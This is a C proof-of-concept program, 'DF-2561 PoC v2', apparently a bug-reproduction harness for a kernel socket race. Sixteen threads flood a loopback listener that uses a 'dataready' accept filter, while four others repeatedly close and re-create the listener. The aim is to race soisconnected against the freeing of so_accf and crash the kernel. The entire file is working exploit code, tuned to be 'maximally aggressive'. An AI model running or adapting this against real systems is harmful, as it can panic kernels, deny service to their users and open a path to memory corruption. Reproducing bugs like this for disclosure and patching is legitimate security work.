DF-2561 / df2561b.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 | /* * DF-2561 PoC v2 - maximally aggressive variant. * * Differences from v1: * - NO acceptor thread: let the accept queue fill (more children * stuck in so_incomp waiting for soisconnected to move them). * - More rotators (4) and many more connectors (16). * - Each rotator closes the listener and waits a tiny bit before * re-creating, to widen the window where a child's soisconnected * might race against the listener's sodealloc/free-so_accf. * * Build: cc -O2 -o df2561b df2561b.c -lpthread * Run: ./df2561b <seconds> */ #define _GNU_SOURCE #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <signal.h> #include <time.h> #include <fcntl.h> #ifndef SO_ACCEPTFILTER #define SO_ACCEPTFILTER 0x1000 #endif static volatile int g_stop = 0; static volatile int g_listen_fd = -1; static in_port_t g_port = 0; static volatile int g_rotations = 0; static volatile int g_connects = 0; static void msleep_ms(int ms){ struct timespec ts={ms/1000,(ms%1000)*1000000L}; nanosleep(&ts,NULL); } static void set_nonblocking(int fd){ int fl=fcntl(fd,F_GETFL,0); if(fl>=0) (void)fcntl(fd,F_SETFL,fl|O_NONBLOCK); } static int set_accf(int fd){ struct accept_filter_arg afa; memset(&afa,0,sizeof(afa)); strncpy(afa.af_name,"dataready",sizeof(afa.af_name)-1); return setsockopt(fd,SOL_SOCKET,SO_ACCEPTFILTER,&afa,sizeof(afa)); } static int make_listener(in_port_t *pport){ int fd=socket(AF_INET,SOCK_STREAM,0); if(fd<0) return -1; int one=1; setsockopt(fd,SOL_SOCKET,SO_REUSEADDR,&one,sizeof(one)); struct sockaddr_in sa; memset(&sa,0,sizeof(sa)); sa.sin_family=AF_INET; sa.sin_addr.s_addr=htonl(INADDR_LOOPBACK); sa.sin_port=0; socklen_t slen=sizeof(sa); if(bind(fd,(struct sockaddr*)&sa,sizeof(sa))<0){ close(fd); return -1; } if(getsockname(fd,(struct sockaddr*)&sa,&slen)<0){ close(fd); return -1; } *pport=sa.sin_port; if(listen(fd,512)<0){ close(fd); return -1; } /* big backlog to fill so_incomp */ if(set_accf(fd)<0){ close(fd); return -1; } return fd; } static void *connector_fn(void *arg){ (void)arg; while(!g_stop){ int fd=socket(AF_INET,SOCK_STREAM,0); if(fd<0){ msleep_ms(1); continue; } set_nonblocking(fd); struct sockaddr_in sa; memset(&sa,0,sizeof(sa)); sa.sin_family=AF_INET; sa.sin_addr.s_addr=htonl(INADDR_LOOPBACK); sa.sin_port=g_port; int rc=connect(fd,(struct sockaddr*)&sa,sizeof(sa)); if(rc==0||(rc<0&&errno==EINPROGRESS)){ char b='x'; (void)write(fd,&b,1); g_connects++; } /* leak many sockets intentionally so children pile up */ if ((g_connects & 0x3ff) != 0) close(fd); } return NULL; } static void *rotator_fn(void *arg){ (void)arg; while(!g_stop){ int old=g_listen_fd; if(old>=0) close(old); /* drives sodealloc -> free so_accf */ msleep_ms(0); /* yield to widen the race window */ in_port_t port=0; int nfd=make_listener(&port); if(nfd<0){ g_listen_fd=-1; msleep_ms(1); continue; } g_port=port; g_listen_fd=nfd; g_rotations++; } return NULL; } int main(int argc,char**argv){ int seconds=25; if(argc>1) seconds=atoi(argv[1]); if(seconds<1) seconds=1; in_port_t port=0; int fd=make_listener(&port); if(fd<0){ fprintf(stderr,"make_listener failed\n"); return 2; } g_listen_fd=fd; g_port=port; signal(SIGPIPE,SIG_IGN); pthread_t conn[16], rot[4]; for(int i=0;i<16;i++) pthread_create(&conn[i],NULL,connector_fn,NULL); for(int i=0;i<4;i++) pthread_create(&rot[i],NULL,rotator_fn,NULL); printf("[parent] aggressive hammer %ds (no acceptor, 16 conn, 4 rot)\n",seconds); fflush(stdout); for(int s=0;s<seconds&&!g_stop;s++){ sleep(1); printf("[parent] t+%d rotations=%d connects=%d\n",s+1,g_rotations,g_connects); fflush(stdout); } g_stop=1; msleep_ms(300); printf("[parent] DONE rotations=%d connects=%d RESULT=NO_CRASH\n",g_rotations,g_connects); fflush(stdout); return 0; } |